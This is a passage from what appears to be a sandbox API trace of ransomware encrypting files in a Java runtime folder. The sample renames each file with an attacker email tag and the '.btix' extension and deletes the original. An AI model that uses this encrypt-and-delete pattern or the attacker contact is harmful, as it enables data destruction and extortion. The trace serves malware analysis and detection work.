files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0151.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.808] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.808] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.808] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.808] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.808] GetLastError () returned 0x0 [0151.808] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xc040, lpOverlapped=0x0) returned 1 [0151.828] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xc050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xc050, lpOverlapped=0x0) returned 1 [0151.831] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.831] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0151.831] SetEndOfFile (hFile=0x338) returned 1 [0151.831] CloseHandle (hObject=0x338) returned 1 [0151.831] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.831] SetEndOfFile (hFile=0x3a4) returned 1 [0151.834] CloseHandle (hObject=0x3a4) returned 1 [0151.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.834] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 1 [0151.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.835] lstrlenW (lpString=".doc") returned 4 [0151.835] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.835] lstrlenW (lpString=".docx") returned 5 [0151.835] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0151.835] lstrlenW (lpString=".pdf") returned 4 [0151.835] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.835] lstrlenW (lpString=".xls") returned 4 [0151.835] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.835] lstrlenW (lpString=".xlsx") returned 5 [0151.835] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0151.835] lstrlenW (lpString=".ppt") returned 4 [0151.835] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.835] lstrlenW (lpString=".zip") returned 4 [0151.835] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.835] lstrlenW (lpString=".rar") returned 4 [0151.835] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.835] lstrlenW (lpString=".bz2") returned 4 [0151.835] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.835] lstrlenW (lpString=".7z") returned 3 [0151.835] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.835] lstrlenW (lpString=".dbf") returned 4 [0151.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.835] lstrlenW (lpString=".1cd") returned 4 [0151.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.836] lstrlenW (lpString=".jpg") returned 4 [0151.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.837] lstrlenW (lpString=".doc") returned 4 [0151.837] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString=".docx") returned 5 [0151.837] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0151.837] lstrlenW (lpString=".pdf") returned 4 [0151.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString=".xls") returned 4 [0151.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString=".xlsx") returned 5 [0151.837] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0151.837] lstrlenW (lpString=".ppt") returned 4 [0151.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.837] lstrlenW (lpString=".zip") returned 4 [0151.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString=".rar") returned 4 [0151.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.837] lstrlenW (lpString=".bz2") returned 4 [0151.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.837] lstrlenW (lpString=".7z") returned 3 [0151.837] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.837] lstrlenW (lpString=".dbf") returned 4 [0151.837] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.837] lstrlenW (lpString=".1cd") returned 4 [0151.837] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0151.837] lstrlenW (lpString=".jpg") returned 4 [0151.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.838] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.838] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16 [0151.838] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.839] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=24128) returned 1 [0151.839] CloseHandle (hObject=0x3a4) returned 1 [0151.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0151.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.839] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.840] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.840] GetLastError () returned 0x0 [0151.840] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x5e40, lpOverlapped=0x0) returned 1 [0151.945] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x5e50, lpOverlapped=0x0) returned 1 [0151.946] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.946] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf4, lpOverlapped=0x0) returned 1 [0151.946] SetEndOfFile (hFile=0x338) returned 1 [0151.946] CloseHandle (hObject=0x338) returned 1 [0151.946] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.946] SetEndOfFile (hFile=0x3a4) returned 1 [0151.947] CloseHandle (hObject=0x3a4) returned 1 [0151.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.947] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1 [0151.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString=".doc") returned 4 [0151.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString=".docx") returned 5 [0151.948] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0151.948] lstrlenW (lpString=".pdf") returned 4 [0151.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString=".xls") returned 4 [0151.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString=".xlsx") returned 5 [0151.948] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0151.948] lstrlenW (lpString=".ppt") returned 4 [0151.948] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString=".zip") returned 4 [0151.948] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString=".rar") returned 4 [0151.948] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString=".bz2") returned 4 [0151.948] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.948] lstrlenW (lpString=".7z") returned 3 [0151.948] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString=".dbf") returned 4 [0151.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString=".1cd") returned 4 [0151.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString=".jpg") returned 4 [0151.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.948] lstrlenW (lpString=".doc") returned 4 [0151.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.949] lstrlenW (lpString=".docx") returned 5 [0151.949] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0151.949] lstrlenW (lpString=".pdf") returned 4 [0151.949] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.949] lstrlenW (lpString=".xls") returned 4 [0151.949] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.949] lstrlenW (lpString=".xlsx") returned 5 [0151.949] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0151.949] lstrlenW (lpString=".ppt") returned 4 [0151.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.949] lstrlenW (lpString=".zip") returned 4 [0151.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.949] lstrlenW (lpString=".rar") returned 4 [0151.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.949] lstrlenW (lpString=".bz2") returned 4 [0151.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.949] lstrlenW (lpString=".7z") returned 3 [0151.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.949] lstrlenW (lpString=".dbf") returned 4 [0151.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.949] lstrlenW (lpString=".1cd") returned 4 [0151.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0151.949] lstrlenW (lpString=".jpg") returned 4 [0151.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.949] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0151.949] lstrlenW (lpString="calendars.properties") returned 20 [0151.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.950] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1378) returned 1 [0151.950] CloseHandle (hObject=0x3a4) returned 1 [0151.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0151.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.950] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.950] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.951] GetLastError () returned 0x0 [0151.951] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x562, lpOverlapped=0x0) returned 1 [0151.951] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x570, lpOverlapped=0x0) returned 1 [0151.952] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.952] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xfc, lpOverlapped=0x0) returned 1 [0151.952] SetEndOfFile (hFile=0x338) returned 1 [0151.953] CloseHandle (hObject=0x338) returned 1 [0151.953] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.953] SetEndOfFile (hFile=0x3a4) returned 1 [0151.953] CloseHandle (hObject=0x3a4) returned 1 [0151.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.954] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0151.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.954] lstrlenW (lpString=".doc") returned 4 [0151.954] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString=".docx") returned 5 [0151.954] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0151.954] lstrlenW (lpString=".pdf") returned 4 [0151.954] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString=".xls") returned 4 [0151.954] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString=".xlsx") returned 5 [0151.954] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0151.954] lstrlenW (lpString=".ppt") returned 4 [0151.954] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.954] lstrlenW (lpString=".zip") returned 4 [0151.954] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString=".rar") returned 4 [0151.954] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString=".bz2") returned 4 [0151.954] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0151.954] lstrlenW (lpString=".7z") returned 3 [0151.954] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0151.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.954] lstrlenW (lpString=".dbf") returned 4 [0151.954] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString=".1cd") returned 4 [0151.955] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString=".jpg") returned 4 [0151.955] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString=".doc") returned 4 [0151.955] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString=".docx") returned 5 [0151.955] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0151.955] lstrlenW (lpString=".pdf") returned 4 [0151.955] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString=".xls") returned 4 [0151.955] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString=".xlsx") returned 5 [0151.955] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0151.955] lstrlenW (lpString=".ppt") returned 4 [0151.955] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString=".zip") returned 4 [0151.955] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString=".rar") returned 4 [0151.955] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString=".bz2") returned 4 [0151.955] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString=".7z") returned 3 [0151.955] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString=".dbf") returned 4 [0151.955] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0151.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.955] lstrlenW (lpString=".1cd") returned 4 [0151.956] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0151.956] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0151.956] lstrlenW (lpString=".jpg") returned 4 [0151.956] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0151.956] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0151.956] lstrlenW (lpString="charsets.jar") returned 12 [0151.956] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.956] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=3036922) returned 1 [0151.956] CloseHandle (hObject=0x3a4) returned 1 [0151.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0151.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0151.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.957] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1 [0151.957] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.957] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: 